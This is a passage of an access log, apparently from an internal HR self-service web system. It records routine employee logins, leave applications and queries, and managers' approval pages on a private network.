Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:13:27 +0800] "GET /ehr/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120324%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 192.168.11.153 - - [02/Dec/2025:13:13:33 +0800] "GET /ehr/ess/redirect.php?scriptname=emp_leave_apply_search&flowseqno=120324 HTTP/1.1" 200 6612 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120324%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:13:33 +0800] "GET /ehr/ess/redirect.php?scriptname=emp_leave_apply_search&flowseqno=120324 HTTP/1.1" 200 6612 192.168.11.153 - - [02/Dec/2025:13:13:45 +0800] "POST /ehr/ess/redirect.php?scriptname=emp_leave_apply_search&flowseqno=120324 HTTP/1.1" 200 149362 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=emp_leave_apply_search&flowseqno=120324" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:13:45 +0800] "POST /ehr/ess/redirect.php?scriptname=emp_leave_apply_search&flowseqno=120324 HTTP/1.1" 200 149362 192.168.11.153 - - [02/Dec/2025:13:13:57 +0800] "POST /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120324 HTTP/1.1" 200 5213 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:13:57 +0800] "POST /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120324 HTTP/1.1" 200 5213 192.168.11.52 - - [02/Dec/2025:13:16:07 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:16:07 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.52 - - [02/Dec/2025:13:16:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:16:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.52 - - [02/Dec/2025:13:16:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:16:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.52 - - [02/Dec/2025:13:16:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:16:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.52 - - [02/Dec/2025:13:17:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:17:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.52 - - [02/Dec/2025:13:17:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4573596814546155 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:17:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4573596814546155 HTTP/1.1" 200 8588 192.168.11.52 - - [02/Dec/2025:13:18:35 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4573596814546155 HTTP/1.1" 200 14546 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4573596814546155" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:18:35 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4573596814546155 HTTP/1.1" 200 14546 192.168.11.52 - - [02/Dec/2025:13:18:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:18:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 192.168.11.52 - - [02/Dec/2025:13:18:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:18:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 192.168.11.52 - - [02/Dec/2025:13:19:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 24062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:19:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 24062 192.168.11.52 - - [02/Dec/2025:13:19:24 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:19:24 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.52 - - [02/Dec/2025:13:19:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:19:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.52 - - [02/Dec/2025:13:19:45 +0800] "GET /eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=Password+error. HTTP/1.1" 200 8989 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:19:45 +0800] "GET /eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=Password+error. HTTP/1.1" 200 8989 192.168.11.52 - - [02/Dec/2025:13:19:45 +0800] "GET /eHR/img/error.png HTTP/1.1" 200 701 192.168.11.52 - - [02/Dec/2025:13:19:45 +0800] "GET /eHR/img/error.png HTTP/1.1" 200 701 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=Password+error." "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.135 - - [02/Dec/2025:13:19:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:13:19:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [02/Dec/2025:13:19:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:13:19:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [02/Dec/2025:13:19:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:19:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:19:57 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:19:57 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.139.16 - - [02/Dec/2025:13:19:58 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:19:58 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.11.52 - - [02/Dec/2025:13:19:59 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=Password+error." "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:19:59 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [02/Dec/2025:13:19:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:13:19:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.52 - - [02/Dec/2025:13:20:00 +0800] "GET /eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=Password+error. HTTP/1.1" 200 8989 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=Password+error." "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:20:00 +0800] "GET /eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=Password+error. HTTP/1.1" 200 8989 192.168.11.135 - - [02/Dec/2025:13:20:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:13:20:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.139.16 - - [02/Dec/2025:13:20:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:20:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:13:20:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:20:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.11.135 - - [02/Dec/2025:13:20:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:13:20:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.139.16 - - [02/Dec/2025:13:20:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:20:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.11.135 - - [02/Dec/2025:13:20:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:13:20:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.139.16 - - [02/Dec/2025:13:20:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14338 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:20:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14338 192.168.11.135 - - [02/Dec/2025:13:20:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8687 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:13:20:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8687 192.168.11.135 - - [02/Dec/2025:13:20:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13138 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:13:20:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13138 192.168.11.108 - - [02/Dec/2025:13:20:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:20:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [02/Dec/2025:13:20:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11455 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:13:20:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11455 192.168.11.52 - - [02/Dec/2025:13:20:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=Password+error." "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:20:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.52 - - [02/Dec/2025:13:20:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=Password+error." "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:20:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.52 - - [02/Dec/2025:13:20:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10645 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:20:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10645 192.168.11.52 - - [02/Dec/2025:13:21:12 +0800] "GET /eHR/css/default.css HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:12 +0800] "GET /eHR/css/default.css HTTP/1.1" 200 8445 192.168.11.52 - - [02/Dec/2025:13:21:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12112 192.168.11.52 - - [02/Dec/2025:13:21:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 192.168.11.52 - - [02/Dec/2025:13:21:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.52 - - [02/Dec/2025:13:21:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.52 - - [02/Dec/2025:13:21:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.139.16 - - [02/Dec/2025:13:21:39 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4493 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:39 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4493 192.168.11.52 - - [02/Dec/2025:13:21:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.139.16 - - [02/Dec/2025:13:21:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:13:21:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.52 - - [02/Dec/2025:13:21:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [02/Dec/2025:13:21:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 192.168.139.16 - - [02/Dec/2025:13:21:43 +0800] "GET 